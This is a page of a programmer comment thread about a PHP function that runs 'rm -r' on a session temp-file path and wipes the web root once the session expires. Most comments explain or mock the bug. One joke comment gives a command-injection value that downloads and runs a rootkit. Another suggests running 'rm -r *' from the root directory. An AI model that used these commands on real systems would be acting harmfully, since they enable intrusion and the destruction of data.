| « Prev | Page 1 | Page 2 | Page 3 | Next » |
|
It's not a bug--it's a feature. Yes, that qualifies as accidental deletion. |
|
niiiiiiiiiiiiiiiiiiiiiice :) So this is why we get file-not-found ? |
|
Whoops. Really stupid to not have actually checked for this, but I wouldn't call it an absolute WTF.
|
|
I guess he has a point: it really is hack-proof if there are no files for anyone to hack.
|
LMAO |
Is that the entire e-mail from the support group*? Was the subject line "All your base..."? * By group, I mean the summer intern.... And by summer intern, I mean the manager's son's friend's cousin's friend's 13 year old brother. |
|
See, this is an enabling technology for that on-the-go hacker who doesn't have time to guess passwords or scan for vulnerabilities.
Of course the reall WTF is the "in the family" mentality. Its happened to me. At a job I worked they made a custodian an assistant system tech because he was a friend of someone in management. |
|
The code may have been uncommented, but it was self-documenting. The terminate() function really lived up to its name.
Personally, I buy all my custom-built apps through my drug dealer's brother. |
|
Well, you get what you pay for, now don't you! That said, the $50,000 solutions would probably have broken in a more obscure manner...
I'm most curious about the statement "system is hack-proof". Very little in the world is, though the vendor's sales channel (a friend of a cousin of a friend of the son of the manager) assures a pretty small target for hackers provided all the other server things (like web server, ftp server, etc) are configured correctly! Probably one or two fewer users of this application than Windows... |
So? The vendor was right: the site was, indeed, accidental [sic] deleted. |
|
This is the best WTF I've ever seen here. I think we could safely stop here and just say, "now we've seen everything."
A bug that erases everything in the www directory? Unconditionally? I was having a pretty crappy day until I read this. Thank you |
function terminate() {
I'm not a web person - can someone please explain why, upon the session timing out, this would delete all the files as opposed to just the temp files?
Also, just guessing here, but why would someone put temp files in the same directory as the web pages? Wouldn't a (sensible) person put them in a temp directory? [edit] Oh my dear Lord - someone just explained it to me - yikes! |
|
Why would you a) store temp files in something other than a /tmp like
location (let alone with valid data) and b) do a blind "rm -r"? If only you could get the temp file changed to "../../" ... |
In PHP if a variable doesn't exist then it considers it NULL. Therefore any use of $_SESSION on an empty session would result in a NULL value ($_SESSION['Tempfile'] in particular) leaving "rm -r /var/public_www/" to be executed since NULL translates to "" in a string. |
When the user's session times out, all the variables stored in that session go bye-bye. When this happens, $_SESSION['TempFile'] evaluates to an empty string, thus making the command executed: "rm -r /var/public_www/" Which then deletes everything in that directory, with a handy -r to take care of all subdirectories recursively. |
That's exactly what someone looking over my shoulder just said too - too bad they never heard of /tmp - thanks! |
WTF! You are not allowed to ask sensible questions here! CAPTCHA : chocobot!?!?!?!?! |
Oh wow, best WTF in a long time! I love that "light-bulb" moment that begins with looking at a code snippet and thinking "hmm... what is going on here?" and moves within seconds to "OMFG, that means that..." I wonder if the Session variable was named Sarah Connor... "You're all dead... judgment day, your session will expire and the machines will rise" John Connor: Did you terminate all those files? |
As stupid as this function and directory layout are to begin with, the addition of one line probably would have completely prevented this. |
As far as I'm concerned, *any time* you do an "rm -r" from code, it's a WTF. |
I know someone explained it to you, but for the record: If the session expires, the array element $_SESSION['Tempfile']will be empty. That means the result of the expression passed to exec()will be:
The sad thing is this could have been avoided with a simple if ( defined($_SESSION['Template']) )... |
|
Sounds like someone didn't read all of the instructions before deploying the application. Step 1: Read all Instructions Step 2: Deploy the application Step 3: Wait 2 days and Repeate |
|
That is what i call a depressive application, an app with suicidal tendencies :D
|
|
Anyone who is dumb enough to call "rm -r" without checking to make sure they're in the right spot is a complete idiot. You're just begging for this sort of trouble.
Even php, which is sloppy about file and directory hooks, still has enough methods that you can use...nice safe code methods, without having to resort to exec(), which has vast potential for these sorts of problems. Also I wonder at the set file permissions...what user is php running as, and why does it have permission to delete the whole application? All you need is read and execute, except in whatever directory you're storing your session information in, and if they'd done that, the worst thign that could have happened is that when the code borked, it would have knocked out everyones sessions and not the whole application. |
Awesome.
Not proof against this hack! |
I would disagree .. i really wonder if they had other web apps there with the same code, or was this their first one? I'm really impressed it worked as well as described. Well, we'll see in 2038 if that's the case. |
As above, I'm not a web person, but (sadly) most of the applications that I've inherited in the Unix world ran as root whether there was a good reason or not. If I tried to explain that this wasn't prudent, I'd invariably get back "it's working, leave it alone". Seems like the folks who design these things up front are too lazy to deal with privilege issues and setting up non-root users. edit: imagine if they'd done something like this: function terminate() {
|
When strings are used as array indices, array elements can be interpolated (when using single quotes) quite nicely like so: $_mystring = "The array index value is {$_arr['index_one']}";
|
defined() only works for constants defined using define(). It's not for use on variables. http://www.php.net/manual/en/function.defined.php !empty() is closer to what you're looking for. There are cases in which your if() clause would return true, but they're not the right ones. |
You're right. It works if you add the curly braces.
|
$_SESSION is an associative array (aka Dictionary). When the session times out, things like 'Tempfile' are no longer defined. (PHP has an unset() function that undefines a reference.) But when PHP sees an undeclared reference, it doesn't error out -- instead it substitutes '' (a blank string) if the reference occurs within a string. So now the user is executing rm -r /var/public_www/As you might imagine, this behavior makes PHP very dangerous in the hands of an idiot.
You claim not to be a web person, but you have more common sense than most of the ones I've met. There's no reason to mix temp files with permanent files. In fact, putting temp files ANYWHERE in the public www directory is a terrible idea, because now anybody on the web can look at those session files. (So much for hacker-proof...) It IS a good idea to not use /tmp if you're on a shared server, because you can't control what happens in /tmp if you're not root, but you can be reasonably assured to have control of your home directory, so put it here: ~/tmp. |
Quote: |
As somebody else said, calling rm -r is just plain wrong, even if you know exactly where you are. Calling exec or system in the first place is almost always a bad idea...really they're only useful for making quick hacks, not for writing good code. Furthermore, sessions are stored as files, right, not nested directory structures. So why -r? As I rethink this WTF, I'm starting to think it wasn't an accident. |
|
By default rm -r WILL blast everything. Chances are the shells you usually work in have rm -i aliased to rm.
Example: log in to your account and do the following: unalias rm cd / rm -r * and you will prove my point. ( o _ O ) |
|
This is wrong on so many levels...
1. Since when does anyone run a webserver in which the HTTP process has permission over the contents of the document root, anyway? 2. Oh wait... they had to do that in order to allow PHP to create tempfiles IN THE DOCUMENT ROOT. 3. "rm -r"? If it is a tempfile, there is no need for "-r". 4. $_SESSION["Tempfile"]? A session IS a tempfile, and it exists as a unique hash-named file in /tmp. Just save values into the session!!! 5. I wonder if $_SESSION["Tempfile"] is a user-created name. Imagine the possibilities... |
|
I believe rm special-cases / and always asks for confirmation in that case. I haven't tested, though.
|
|
Nice thing is, that argument is not in quotes...
How can I change $_SESSION['Tempfile'] to "somefile /"? ;) |
You're not thinking big enough! The semicolon is used to separate shell commands. So, how can I change $_SESSION['Tempfile'] to the following: ; wget http://hostname/rootkit.sh ; chmod u+x rootkit.sh ; ./rootkit.sh Oh wait, I forgot, the system is HACKPROOF. |
It does not, and yes I have tested this. |
The $50,000 solution from the competing vendors: /* Delete the user's temp directory */ |
|
This would have been solved if you just called it:
function terminate(DO_NOT_PUT_ANYTHING_IN_HERE_EVER)
|
Because when the session expires, the session object is destroyed, so $_SESSION['Tempfile'] becomes NULL: rm -r /var/public_www/
I think you answered your own question there. -dZ. |
|
Sometimes I secretly wish the creator of my current project would have made this same mistake, except then we'd still have backups to go from... :'(
|
|
I think that still leaves a race condition doesn't it?
The fix would be to evaluate the expression and assign it to a variable. Then your guard condition can be used and the delete safely executed if needed. It seems kind of funny to have $_SESSION magically become null. How about leaving it as a valid variable but one with sane behavior? You know, better life cycle management? |
Sessions are supported in several web-enabled lanaguges now. Basically it's a way to take a bunch of variables, group them together, and save them to disk or some other space that lives longer than the current connection. This group is called a session, it's assigned an identifier of some sort, and that identifier is sent back to the browser as a cookie. Thus, when the user hits the next link or what have you, the cookie is sent back and the session variables can then be reloaded from that identifier. Identifiers are generally long enough to be reasonably sure of uniqueness. So it's a way to persist data across multiple pages without having to send it to the client and back. So, my point is that session variables are not normally subject to change, since they're not sent over the network to the browser and back, unlike GET and POST variables and COOKIES and such. You don't have to trust something the client sends you, other than that identifier, which is useless except to load the users own session variables, not to change them arbitrarily. Sessions also have a lifetime for which they are valid. So I can define a session so as to last only 20 minutes from the last time it was saved, at which point it expires and can't be reloaded anymore. So as long as the user is browsing, I remember his settings, but if he walks away, he's automatically logged out so other people can't access his private information, or something to that effect. Kind of like a keep-alive, but without the actual CPU or network cycles needed to do it. The real WTF here is the "exec (rm..." in the first place. Use the normal file deletion functions, you shouldn't go to the shell for trivial shit like this. Going to the shell is a really easy way to accidentally introduce security risks. There should be an IQ test before allowing programmers to use functions like exec. |
|
They called it tempfile, but they could easily have gone from needing a temp file to needing a temp directory. Going back and changing "fields" implemented as map entries is rather error-prone, and I myself wouldn't really want to try a global replace on the "field" name, for fear of bugs.
It isn't unreasonable to think that they have a full directory of stuff, like a cache of generated pages or PDFs and etc. If they put this dir in the www root, then we can expect they wanted to let the user browse it, or at least let the browser view files generated in this directory. Also, a web session is not a tempfile... its a set of named attribute strings that get passed back and forth between the browser and the server in a stateless design, or held by the server (which may write them to a file, but could use any method) in a stateful one. |
That would introduce a race condition. if it tested that at 24 minutes 59.99 seconds then the session expired and interupt was sent and session became undefined the same thing is going to happen. granted there is a very small chance for it to happen. but remember, if something can go wrong, it will. |
Hum... Nuclear Plant Technician: Sir, the cores are melting, and the plant is about to explode... Nuclear Plant Manager: Why? What happened? Nuclear Plant Technician: You know that big red button that says "Press here for nuclear holocaust"? Well, Bob here pressed it. Nuclear Plant Manager: Good one, Bob! And to think that this whole thing could have been avoided by putting up a sign right next to it that says "unless you're really really sure". -dZ. |
Not that I'm supporting the use of code such as that, but no, that would not introduce a race condition. The session variables are loaded when session_start is called early on in the PHP code. That's where the _SESSION global gets defined, and where expiration times are checked. After session_start, then it's loaded and it cannot expire. |
| « Prev | Page 1 | Page 2 | Page 3 | Next » |